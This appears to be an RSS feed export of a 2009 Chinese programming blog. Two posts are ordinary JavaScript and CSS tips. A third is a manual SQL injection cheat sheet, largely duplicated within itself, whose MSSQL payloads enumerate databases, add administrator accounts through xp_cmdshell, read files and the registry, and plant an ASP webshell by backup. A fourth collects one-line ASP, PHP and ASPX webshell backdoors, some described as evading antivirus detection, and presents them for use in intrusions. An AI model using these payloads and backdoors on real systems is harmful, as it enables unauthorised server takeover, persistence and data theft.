﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>博客园-木柯的园子</title><link>http://www.cnblogs.com/lemtree/</link><description /><language>zh-cn</language><lastBuildDate>Mon, 06 Jul 2009 15:59:09 GMT</lastBuildDate><pubDate>Mon, 06 Jul 2009 15:59:09 GMT</pubDate><ttl>60</ttl><item><title>为何js函数中使用return后表单仍旧提交了</title><link>http://www.cnblogs.com/lemtree/articles/1504271.html</link><dc:creator>萧木柯</dc:creator><author>萧木柯</author><pubDate>Tue, 16 Jun 2009 05:43:00 GMT</pubDate><guid>http://www.cnblogs.com/lemtree/articles/1504271.html</guid><wfw:comment>http://www.cnblogs.com/lemtree/comments/1504271.html</wfw:comment><comments>http://www.cnblogs.com/lemtree/articles/1504271.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/lemtree/comments/commentRss/1504271.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/lemtree/services/trackbacks/1504271.html</trackback:ping><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; 刚才做一个表单提交的时候，发现return后照样提交了，但是原来的程序是没问题的，后来改成了另一个提交表单就出现这种问题了，反复测试和排除，最终终于锁定了问题。。。。。。靠！！！！！！！！！竟然是图片按钮在js事件中不受return的限制，照样会提交，而button就不会。解决办法：查了相应函数后得知，在return之前加以下一句就好了：<span style="color: red; background-color: yellow"><strong>event.returnValue=false;</strong></span></p>
<p><span style="color: red; background-color: yellow"><strong></strong></span>&nbsp;</p>
<p><span style="color: red; background-color: yellow">&lt;input type="image" src="./templates/default/dfvote/buttom.jpg" name="Submit" onClick="formok()" /&gt;</span></p>
<p>function formok()<br />{<br />&nbsp;&nbsp;&nbsp; alert("formok");<br />&nbsp;alert("foyyyyyyyyrmok");<br /><span style="color: #ff6600; background-color: #99ccff"><strong><u>&nbsp;event.returnValue=false;</u></strong></span><br /><span style="color: red; background-color: yellow">&nbsp;return;</span><br />&nbsp;alert("not is ok");<br />this.form1.submit();</p>
<p>在return前加了那句后就不会提交表单了</p>
<p>&nbsp;</p><img src ="http://www.cnblogs.com/lemtree/aggbug/1504271.html?type=2" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48008/" target="_blank">IBM发布全球首款开源智能编译器</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>超简单---鼠标滑过变换图片</title><link>http://www.cnblogs.com/lemtree/articles/1491425.html</link><dc:creator>萧木柯</dc:creator><author>萧木柯</author><pubDate>Thu, 28 May 2009 12:07:00 GMT</pubDate><guid>http://www.cnblogs.com/lemtree/articles/1491425.html</guid><wfw:comment>http://www.cnblogs.com/lemtree/comments/1491425.html</wfw:comment><comments>http://www.cnblogs.com/lemtree/articles/1491425.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/lemtree/comments/commentRss/1491425.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/lemtree/services/trackbacks/1491425.html</trackback:ping><description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 鼠标滑过，图片变换，非常实用，用JS可以很容易做到，但是JS完成后有个缺陷，在滑过的时候，第一次可能是空白的，然后才显示，因为要下载图片，网速慢的时候更加明显。其实用CSS实现更容易，而且不会出现上面的短暂显示空白的小问题。&nbsp; </p>
<p>CSS实现例子：</p>
<p>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;<br />&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;<br />&lt;head&gt;<br />&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312" /&gt;<br />&lt;title&gt;CSS实现鼠标滑过变换图片&lt;/title&gt;<br />&lt;style&gt;<br />.image10 a{<br />&nbsp;background: url(../indeximages/computer.jpg) no-repeat top left;<br />&nbsp;&nbsp;&nbsp; border: none;<br />&nbsp;&nbsp;&nbsp; width: 99px;<br />&nbsp;&nbsp;&nbsp; height: 45px;<br />&nbsp;&nbsp;&nbsp; display: block;<br />&nbsp;float:left;<br />&nbsp;margin: 15px 3px;<br />}<br />.image10 a:hover{<br />&nbsp;background: url(../indeximages/computer.jpg) no-repeat bottom left;<br />&nbsp;border: none;<br />&nbsp;width: 99px;<br />&nbsp;height: 45px;<br />&nbsp;display: block;<br />&nbsp;float:left;<br />&nbsp;margin: 15px 3px;<br />}</p>
<p>&lt;/style&gt;<br />&lt;/head&gt;</p>
<p>&lt;body&gt;<br />&lt;div class = image10&gt;&lt;a href="/carcount/count.htm"&gt;&lt;/a&gt;&lt;/div&gt;<br />&lt;div class = image10&gt;&lt;a href="/compare.asp"&gt;&lt;/a&gt;&lt;/div&gt;<br />&lt;div class = image10&gt;&lt;a href="/compare.asp"&gt;&lt;/a&gt;&lt;/div&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;</p>
<p>其实就是利用了A的hover属性，来改变背景图片的平铺位置。top left 和bottom left，就这么简单就完成了。如果想每个图片都不一样，变换的页不一样，定义成ID就可以了。</p>
<p>&nbsp;</p>
<p>&nbsp;</p><img src ="http://www.cnblogs.com/lemtree/aggbug/1491425.html?type=2" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48007/" target="_blank">IE颓势不减 微软下月公布最新浏览器架构</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>手工注入精华</title><link>http://www.cnblogs.com/lemtree/articles/1490662.html</link><dc:creator>萧木柯</dc:creator><author>萧木柯</author><pubDate>Wed, 27 May 2009 02:57:00 GMT</pubDate><guid>http://www.cnblogs.com/lemtree/articles/1490662.html</guid><wfw:comment>http://www.cnblogs.com/lemtree/comments/1490662.html</wfw:comment><comments>http://www.cnblogs.com/lemtree/articles/1490662.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/lemtree/comments/commentRss/1490662.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/lemtree/services/trackbacks/1490662.html</trackback:ping><description><![CDATA[<table style="table-layout: fixed" cellspacing="0" cellpadding="0" align="center" border="0" 95%?>
<tr>
<td>
<div align="center">&nbsp;</div></td></tr>
<tr>
<td><br />1.判断是否有注入;and&nbsp;1=1&nbsp;;and&nbsp;1=2&nbsp;&nbsp;&nbsp; <br /><br />2.初步判断是否是mssql&nbsp;;and&nbsp;user&gt;0&nbsp;&nbsp;&nbsp; <br /><br />3.注入参数是字符&#8217;and&nbsp;[查询条件]&nbsp;and&nbsp;&#8217;&#8217;=&#8217;&nbsp;&nbsp;&nbsp; <br /><br />4.搜索时没过滤参数的&#8217;and&nbsp;[查询条件]&nbsp;and&nbsp;&#8217;%25&#8217;=&#8217;&nbsp;&nbsp;&nbsp; <br /><br />5.判断数据库系统&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;count(*)&nbsp;from&nbsp;sysobjects)&gt;0&nbsp;mssql&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;count(*)&nbsp;from&nbsp;msysobjects)&gt;0&nbsp;access&nbsp;&nbsp;&nbsp; <br /><br />6.猜数据库&nbsp;;and&nbsp;(select&nbsp;Count(*)&nbsp;from&nbsp;[数据库名])&gt;0&nbsp;&nbsp;&nbsp; <br /><br />7.猜字段&nbsp;;and&nbsp;(select&nbsp;Count(字段名)&nbsp;from&nbsp;数据库名)&gt;0&nbsp;&nbsp;1.判断是否有注入;and&nbsp;1=1&nbsp;;and&nbsp;1=2&nbsp;&nbsp;&nbsp; <br /><br />2.初步判断是否是mssql&nbsp;;and&nbsp;user&gt;0&nbsp;&nbsp;&nbsp; <br /><br />3.注入参数是字符&#8217;and&nbsp;[查询条件]&nbsp;and&nbsp;&#8217;&#8217;=&#8217;&nbsp;&nbsp;&nbsp; <br /><br />4.搜索时没过滤参数的&#8217;and&nbsp;[查询条件]&nbsp;and&nbsp;&#8217;%25&#8217;=&#8217;&nbsp;&nbsp;&nbsp; <br /><br />5.判断数据库系统&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;count(*)&nbsp;from&nbsp;sysobjects)&gt;0&nbsp;mssql&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;count(*)&nbsp;from&nbsp;msysobjects)&gt;0&nbsp;access&nbsp;&nbsp;&nbsp; <br /><br />6.猜数据库&nbsp;;and&nbsp;(select&nbsp;Count(*)&nbsp;from&nbsp;[数据库名])&gt;0&nbsp;&nbsp;&nbsp; <br /><br />7.猜字段&nbsp;;and&nbsp;(select&nbsp;Count(字段名)&nbsp;from&nbsp;数据库名)&gt;0&nbsp;&nbsp;&nbsp; <br /><br />8.猜字段中记录长度&nbsp;;and&nbsp;(select&nbsp;top&nbsp;1&nbsp;len(字段名)&nbsp;from&nbsp;数据库名)&gt;0&nbsp;&nbsp;&nbsp; <br /><br />9.(1)猜字段的ascii值（access）&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;top&nbsp;1&nbsp;asc(mid(字段名,1,1))&nbsp;from&nbsp;数据库名)&gt;0&nbsp;&nbsp;&nbsp; <br /><br />(2)猜字段的ascii值（mssql）&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;top&nbsp;1&nbsp;unicode(substring(字段名,1,1))&nbsp;from&nbsp;数据库名)&gt;0&nbsp;&nbsp;&nbsp; <br /><br />10.测试权限结构（mssql）&nbsp;&nbsp;&nbsp; <br />;and&nbsp;1=(select&nbsp;IS_SRVROLEMEMBER(&#8217;sysadmin&#8217;));--&nbsp;&nbsp;&nbsp; <br />;and&nbsp;1=(select&nbsp;IS_SRVROLEMEMBER(&#8217;serveradmin&#8217;));--&nbsp;&nbsp;&nbsp; <br />;and&nbsp;1=(select&nbsp;IS_SRVROLEMEMBER(&#8217;setupadmin&#8217;));--&nbsp;&nbsp;&nbsp; <br />;and&nbsp;1=(select&nbsp;IS_SRVROLEMEMBER(&#8217;securityadmin&#8217;));--&nbsp;&nbsp;&nbsp; <br />;and&nbsp;1=(select&nbsp;IS_SRVROLEMEMBER(&#8217;diskadmin&#8217;));--&nbsp;&nbsp;&nbsp; <br />;and&nbsp;1=(select&nbsp;IS_SRVROLEMEMBER(&#8217;bulkadmin&#8217;));--&nbsp;&nbsp;&nbsp; <br />;and&nbsp;1=(select&nbsp;IS_MEMBER(&#8217;db_owner&#8217;));--&nbsp;&nbsp;&nbsp; <br /><br />11.添加mssql和系统的帐户&nbsp;&nbsp;&nbsp; <br />;exec&nbsp;master.dbo.sp_addlogin&nbsp;username;--&nbsp;&nbsp;&nbsp; <br /><br />;exec&nbsp;master.dbo.sp_password&nbsp;null,username,password;--&nbsp;&nbsp;&nbsp;&nbsp; <br /><br />;exec&nbsp;master.dbo.sp_addsrvrolemember&nbsp;sysadmin&nbsp;username;--&nbsp;&nbsp;&nbsp; <br /><br />;exec&nbsp;master.dbo.xp_cmdshell&nbsp;&#8217;net&nbsp;user&nbsp;username&nbsp;password&nbsp;&nbsp;&nbsp;&nbsp; <br />/workstations:*/times:all/passwordchg:yes&nbsp;/passwordreq:yes&nbsp;/active:yes&nbsp;/add&#8217;;--&nbsp;&nbsp;&nbsp; <br /><br />;exec&nbsp;master.dbo.xp_cmdshell&nbsp;&#8217;net&nbsp;user&nbsp;username&nbsp;password&nbsp;/add&#8217;;--&nbsp;&nbsp;&nbsp;&nbsp; <br /><br />;exec&nbsp;master.dbo.xp_cmdshell&nbsp;&#8217;net&nbsp;localgroup&nbsp;administrators&nbsp;username&nbsp;/add&#8217;;--&nbsp;&nbsp;&nbsp;&nbsp; <br /><br />12.(1)遍历目录&nbsp;&nbsp;&nbsp; <br /><br />;create&nbsp;table&nbsp;dirs(paths&nbsp;varchar(100),&nbsp;id&nbsp;int)&nbsp;&nbsp;&nbsp; <br />;insert&nbsp;dirs&nbsp;exec&nbsp;master.dbo.xp_dirtree&nbsp;&#8217;c:\&#8217;&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;top&nbsp;1&nbsp;paths&nbsp;from&nbsp;dirs)&gt;0&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;top&nbsp;1&nbsp;paths&nbsp;from&nbsp;dirs&nbsp;where&nbsp;paths&nbsp;not&nbsp;in(&#8217;上步得到的paths&#8217;))&gt;)&nbsp;&nbsp;&nbsp; <br /><br />(2)遍历目录&nbsp;&nbsp;&nbsp; <br />;create&nbsp;table&nbsp;temp(id&nbsp;nvarchar(255),num1&nbsp;nvarchar(255),num2&nbsp;nvarchar(255),num3&nbsp;nvarchar(255));--&nbsp;&nbsp;&nbsp; <br />;insert&nbsp;temp&nbsp;exec&nbsp;master.dbo.xp_availablemedia;--&nbsp;获得当前所有驱动器&nbsp;&nbsp;&nbsp; <br />;insert&nbsp;into&nbsp;temp(id)&nbsp;exec&nbsp;master.dbo.xp_subdirs&nbsp;&#8217;c:\&#8217;;--&nbsp;获得子目录列表&nbsp;&nbsp;&nbsp; <br />;insert&nbsp;into&nbsp;temp(id,num1)&nbsp;exec&nbsp;master.dbo.xp_dirtree&nbsp;&#8217;c:\&#8217;;--&nbsp;获得所有子目录的目录树构&nbsp;&nbsp;&nbsp; <br />;insert&nbsp;into&nbsp;temp(id)&nbsp;exec&nbsp;master.dbo.xp_cmdshell&nbsp;&#8217;type&nbsp;c:\web\index.asp&#8217;;--&nbsp;查看文件的内容&nbsp;&nbsp;&nbsp; <br /><br />13.mssql中的存储过程&nbsp;&nbsp;&nbsp; <br /><br />xp_regenumvalues&nbsp;注册表根键,&nbsp;子键&nbsp;&nbsp;&nbsp; <br />;exec&nbsp;xp_regenumvalues&nbsp;&#8217;HKEY_LOCAL_MACHINE&#8217;,&#8217;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#8217;&nbsp;以多个记录集方式返回所有键值&nbsp;&nbsp;&nbsp; <br /><br />xp_regread&nbsp;根键,子键,键值名&nbsp;&nbsp;&nbsp; <br />;exec&nbsp;xp_regread&nbsp;&nbsp;&nbsp; <br />&#8217;HKEY_LOCAL_MACHINE&#8217;,&#8217;SOFTWARE\Microsoft\Windows\CurrentVersion&#8217;,&#8217;CommonFilesDir&#8217;&nbsp;返回制定键的值&nbsp;&nbsp;&nbsp; <br /><br />xp_regwrite&nbsp;根键,子键,&nbsp;值名,&nbsp;值类型,&nbsp;值&nbsp;&nbsp;&nbsp; <br />值类型有2种REG_SZ&nbsp;表示字符型,REG_DWORD&nbsp;表示整型&nbsp;&nbsp;&nbsp; <br />;exec&nbsp;xp_regwrite&nbsp;&#8217;HKEY_LOCAL_MACHINE&#8217;,&#8217;SOFTWARE\Microsoft\Windows\CurrentVersion&#8217;,&#8217;TestValueName&#8217;,&#8217;reg_sz&#8217;,&#8217;hello&#8217;&nbsp;写入注册表&nbsp;&nbsp;&nbsp; <br /><br />xp_regdeletevalue&nbsp;根键,子键,值名&nbsp;&nbsp;&nbsp; <br /><br />exec&nbsp;xp_regdeletevalue&nbsp;&#8217;HKEY_LOCAL_MACHINE&#8217;,&#8217;SOFTWARE\Microsoft\Windows\CurrentVersion&#8217;,&#8217;TestValueName&#8217;&nbsp;删除某个值&nbsp;&nbsp;&nbsp; <br /><br />xp_regdeletekey&nbsp;&#8217;HKEY_LOCAL_MACHINE&#8217;,&#8217;SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey&#8217;&nbsp;删除键,包括该键下所有值&nbsp;&nbsp;&nbsp; <br /><br />14.mssql的backup创建webshell&nbsp;&nbsp;&nbsp;&nbsp; <br />use&nbsp;model&nbsp;&nbsp;&nbsp; <br />create&nbsp;table&nbsp;cmd(str&nbsp;image);&nbsp;&nbsp;&nbsp; <br />insert&nbsp;into&nbsp;cmd(str)&nbsp;values&nbsp;(&#8217;&#8217;);&nbsp;&nbsp;&nbsp; <br />backup&nbsp;database&nbsp;model&nbsp;to&nbsp;disk=&#8217;c:\l.asp&#8217;;&nbsp;&nbsp;&nbsp; <br /><br />15.mssql内置函数&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;@@version)&gt;0&nbsp;获得Windows的版本号&nbsp;&nbsp;&nbsp; <br />;and&nbsp;user_name()=&#8217;dbo&#8217;&nbsp;判断当前系统的连接用户是不是sa&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;user_name())&gt;0&nbsp;爆当前系统的连接用户&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;db_name())&gt;0&nbsp;得到当前连接的数据库&nbsp;&nbsp;&nbsp; <br /><br />16.简洁的webshell&nbsp;&nbsp;&nbsp; <br /><br />use&nbsp;model&nbsp;&nbsp;&nbsp; <br /><br />create&nbsp;table&nbsp;cmd(str&nbsp;image);&nbsp;&nbsp;&nbsp; <br /><br />insert&nbsp;into&nbsp;cmd(str)&nbsp;values&nbsp;(&#8217;&#8217;);&nbsp;&nbsp;&nbsp; <br /><br />backup&nbsp;database&nbsp;model&nbsp;to&nbsp;disk=&#8217;g:\wwwtest\l.asp&#8217;;&nbsp; <br /><br />8.猜字段中记录长度&nbsp;;and&nbsp;(select&nbsp;top&nbsp;1&nbsp;len(字段名)&nbsp;from&nbsp;数据库名)&gt;0&nbsp;&nbsp;&nbsp; <br /><br />9.(1)猜字段的ascii值（access）&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;top&nbsp;1&nbsp;asc(mid(字段名,1,1))&nbsp;from&nbsp;数据库名)&gt;0&nbsp;&nbsp;&nbsp; <br /><br />(2)猜字段的ascii值（mssql）&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;top&nbsp;1&nbsp;unicode(substring(字段名,1,1))&nbsp;from&nbsp;数据库名)&gt;0&nbsp;&nbsp;&nbsp; <br /><br />10.测试权限结构（mssql）&nbsp;&nbsp;&nbsp; <br />;and&nbsp;1=(select&nbsp;IS_SRVROLEMEMBER(&#8217;sysadmin&#8217;));--&nbsp;&nbsp;&nbsp; <br />;and&nbsp;1=(select&nbsp;IS_SRVROLEMEMBER(&#8217;serveradmin&#8217;));--&nbsp;&nbsp;&nbsp; <br />;and&nbsp;1=(select&nbsp;IS_SRVROLEMEMBER(&#8217;setupadmin&#8217;));--&nbsp;&nbsp;&nbsp; <br />;and&nbsp;1=(select&nbsp;IS_SRVROLEMEMBER(&#8217;securityadmin&#8217;));--&nbsp;&nbsp;&nbsp; <br />;and&nbsp;1=(select&nbsp;IS_SRVROLEMEMBER(&#8217;diskadmin&#8217;));--&nbsp;&nbsp;&nbsp; <br />;and&nbsp;1=(select&nbsp;IS_SRVROLEMEMBER(&#8217;bulkadmin&#8217;));--&nbsp;&nbsp;&nbsp; <br />;and&nbsp;1=(select&nbsp;IS_MEMBER(&#8217;db_owner&#8217;));--&nbsp;&nbsp;&nbsp; <br /><br />11.添加mssql和系统的帐户&nbsp;&nbsp;&nbsp; <br />;exec&nbsp;master.dbo.sp_addlogin&nbsp;username;--&nbsp;&nbsp;&nbsp; <br /><br />;exec&nbsp;master.dbo.sp_password&nbsp;null,username,password;--&nbsp;&nbsp;&nbsp;&nbsp; <br /><br />;exec&nbsp;master.dbo.sp_addsrvrolemember&nbsp;sysadmin&nbsp;username;--&nbsp;&nbsp;&nbsp; <br /><br />;exec&nbsp;master.dbo.xp_cmdshell&nbsp;&#8217;net&nbsp;user&nbsp;username&nbsp;password&nbsp;&nbsp;&nbsp;&nbsp; <br />/workstations:*/times:all/passwordchg:yes&nbsp;/passwordreq:yes&nbsp;/active:yes&nbsp;/add&#8217;;--&nbsp;&nbsp;&nbsp; <br /><br />;exec&nbsp;master.dbo.xp_cmdshell&nbsp;&#8217;net&nbsp;user&nbsp;username&nbsp;password&nbsp;/add&#8217;;--&nbsp;&nbsp;&nbsp;&nbsp; <br /><br />;exec&nbsp;master.dbo.xp_cmdshell&nbsp;&#8217;net&nbsp;localgroup&nbsp;administrators&nbsp;username&nbsp;/add&#8217;;--&nbsp;&nbsp;&nbsp;&nbsp; <br /><br />12.(1)遍历目录&nbsp;&nbsp;&nbsp; <br /><br />;create&nbsp;table&nbsp;dirs(paths&nbsp;varchar(100),&nbsp;id&nbsp;int)&nbsp;&nbsp;&nbsp; <br />;insert&nbsp;dirs&nbsp;exec&nbsp;master.dbo.xp_dirtree&nbsp;&#8217;c:\&#8217;&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;top&nbsp;1&nbsp;paths&nbsp;from&nbsp;dirs)&gt;0&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;top&nbsp;1&nbsp;paths&nbsp;from&nbsp;dirs&nbsp;where&nbsp;paths&nbsp;not&nbsp;in(&#8217;上步得到的paths&#8217;))&gt;)&nbsp;&nbsp;&nbsp; <br /><br />(2)遍历目录&nbsp;&nbsp;&nbsp; <br />;create&nbsp;table&nbsp;temp(id&nbsp;nvarchar(255),num1&nbsp;nvarchar(255),num2&nbsp;nvarchar(255),num3&nbsp;nvarchar(255));--&nbsp;&nbsp;&nbsp; <br />;insert&nbsp;temp&nbsp;exec&nbsp;master.dbo.xp_availablemedia;--&nbsp;获得当前所有驱动器&nbsp;&nbsp;&nbsp; <br />;insert&nbsp;into&nbsp;temp(id)&nbsp;exec&nbsp;master.dbo.xp_subdirs&nbsp;&#8217;c:\&#8217;;--&nbsp;获得子目录列表&nbsp;&nbsp;&nbsp; <br />;insert&nbsp;into&nbsp;temp(id,num1)&nbsp;exec&nbsp;master.dbo.xp_dirtree&nbsp;&#8217;c:\&#8217;;--&nbsp;获得所有子目录的目录树构&nbsp;&nbsp;&nbsp; <br />;insert&nbsp;into&nbsp;temp(id)&nbsp;exec&nbsp;master.dbo.xp_cmdshell&nbsp;&#8217;type&nbsp;c:\web\index.asp&#8217;;--&nbsp;查看文件的内容&nbsp;&nbsp;&nbsp; <br /><br />13.mssql中的存储过程&nbsp;&nbsp;&nbsp; <br /><br />xp_regenumvalues&nbsp;注册表根键,&nbsp;子键&nbsp;&nbsp;&nbsp; <br />;exec&nbsp;xp_regenumvalues&nbsp;&#8217;HKEY_LOCAL_MACHINE&#8217;,&#8217;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#8217;&nbsp;以多个记录集方式返回所有键值&nbsp;&nbsp;&nbsp; <br /><br />xp_regread&nbsp;根键,子键,键值名&nbsp;&nbsp;&nbsp; <br />;exec&nbsp;xp_regread&nbsp;&nbsp;&nbsp; <br />&#8217;HKEY_LOCAL_MACHINE&#8217;,&#8217;SOFTWARE\Microsoft\Windows\CurrentVersion&#8217;,&#8217;CommonFilesDir&#8217;&nbsp;返回制定键的值&nbsp;&nbsp;&nbsp; <br /><br />xp_regwrite&nbsp;根键,子键,&nbsp;值名,&nbsp;值类型,&nbsp;值&nbsp;&nbsp;&nbsp; <br />值类型有2种REG_SZ&nbsp;表示字符型,REG_DWORD&nbsp;表示整型&nbsp;&nbsp;&nbsp; <br />;exec&nbsp;xp_regwrite&nbsp;&#8217;HKEY_LOCAL_MACHINE&#8217;,&#8217;SOFTWARE\Microsoft\Windows\CurrentVersion&#8217;,&#8217;TestValueName&#8217;,&#8217;reg_sz&#8217;,&#8217;hello&#8217;&nbsp;写入注册表&nbsp;&nbsp;&nbsp; <br /><br />xp_regdeletevalue&nbsp;根键,子键,值名&nbsp;&nbsp;&nbsp; <br /><br />exec&nbsp;xp_regdeletevalue&nbsp;&#8217;HKEY_LOCAL_MACHINE&#8217;,&#8217;SOFTWARE\Microsoft\Windows\CurrentVersion&#8217;,&#8217;TestValueName&#8217;&nbsp;删除某个值&nbsp;&nbsp;&nbsp; <br /><br />xp_regdeletekey&nbsp;&#8217;HKEY_LOCAL_MACHINE&#8217;,&#8217;SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey&#8217;&nbsp;删除键,包括该键下所有值&nbsp;&nbsp;&nbsp; <br /><br />14.mssql的backup创建webshell&nbsp;&nbsp;&nbsp;&nbsp; <br />use&nbsp;model&nbsp;&nbsp;&nbsp; <br />create&nbsp;table&nbsp;cmd(str&nbsp;image);&nbsp;&nbsp;&nbsp; <br />insert&nbsp;into&nbsp;cmd(str)&nbsp;values&nbsp;(&#8217;&#8217;);&nbsp;&nbsp;&nbsp; <br />backup&nbsp;database&nbsp;model&nbsp;to&nbsp;disk=&#8217;c:\l.asp&#8217;;&nbsp;&nbsp;&nbsp; <br /><br />15.mssql内置函数&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;@@version)&gt;0&nbsp;获得Windows的版本号&nbsp;&nbsp;&nbsp; <br />;and&nbsp;user_name()=&#8217;dbo&#8217;&nbsp;判断当前系统的连接用户是不是sa&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;user_name())&gt;0&nbsp;爆当前系统的连接用户&nbsp;&nbsp;&nbsp; <br />;and&nbsp;(select&nbsp;db_name())&gt;0&nbsp;得到当前连接的数据库&nbsp;&nbsp;&nbsp; <br /><br />16.简洁的webshell&nbsp;&nbsp;&nbsp; <br /><br />use&nbsp;model&nbsp;&nbsp;&nbsp; <br /><br />create&nbsp;table&nbsp;cmd(str&nbsp;image);&nbsp;&nbsp;&nbsp; <br /><br />insert&nbsp;into&nbsp;cmd(str)&nbsp;values&nbsp;(&#8217;&#8217;);&nbsp;&nbsp;&nbsp; <br /><br />backup&nbsp;database&nbsp;model&nbsp;to&nbsp;disk=&#8217;g:\wwwtest\l.asp&#8217;;<img height="1" src="http://cnxhacker.net/hits.asp?id=3848" width="1" border="0"  alt="" /> </td></tr></table><img src ="http://www.cnblogs.com/lemtree/aggbug/1490662.html?type=2" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48002/" target="_blank">竞争日趋激烈 微软欲借 Windows 7 扭转战局</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>一句话木马的变形写法</title><link>http://www.cnblogs.com/lemtree/articles/1457522.html</link><dc:creator>萧木柯</dc:creator><author>萧木柯</author><pubDate>Fri, 15 May 2009 03:14:00 GMT</pubDate><guid>http://www.cnblogs.com/lemtree/articles/1457522.html</guid><wfw:comment>http://www.cnblogs.com/lemtree/comments/1457522.html</wfw:comment><comments>http://www.cnblogs.com/lemtree/articles/1457522.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/lemtree/comments/commentRss/1457522.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/lemtree/services/trackbacks/1457522.html</trackback:ping><description><![CDATA[<p>一句木马短小精悍，而且功能强大，隐蔽性非常好，在入侵中始终扮演着强大的作用。但是正是因为它短小精悍，所以目标特征也很明显，非常容易被杀软等过滤和杀掉，网上目前有些变种，现收集了一些，供收藏。<img src="http://www.cnblogs.com/Emoticons/face/017.gif"  alt="" /><br />
<br />
asp一句话<br />
&lt;%execute(request("1"))%&gt;<br />
<br />
php一句话<br />
&lt;?php eval($_POST[1]);?&gt;<br />
<br />
aspx一句话<br />
&lt;script language="C#" runat="server"&gt;<br />
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");<br />
&lt;/script&gt;<br />
<br />
<br />
可以躲过雷客图的一句话。<br />
&lt;%<br />
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")<br />
ms.Language="VBScript"<br />
ms.AddObject "Response", Response<br />
ms.AddObject "request", request<br />
ms.ExecuteStatement("ev"&amp;"al(request(""1""))")<br />
%&gt;<br />
<br />
不用'&lt;%,%&gt;'的asp一句话<br />
&lt;script language=VBScript runat=server&gt;execute request("1")&lt;/script&gt;<br />
<br />
不用双引号的一句话。<br />
&lt;%eval request(chr(35))%&gt;</p>
<p>&nbsp;</p>
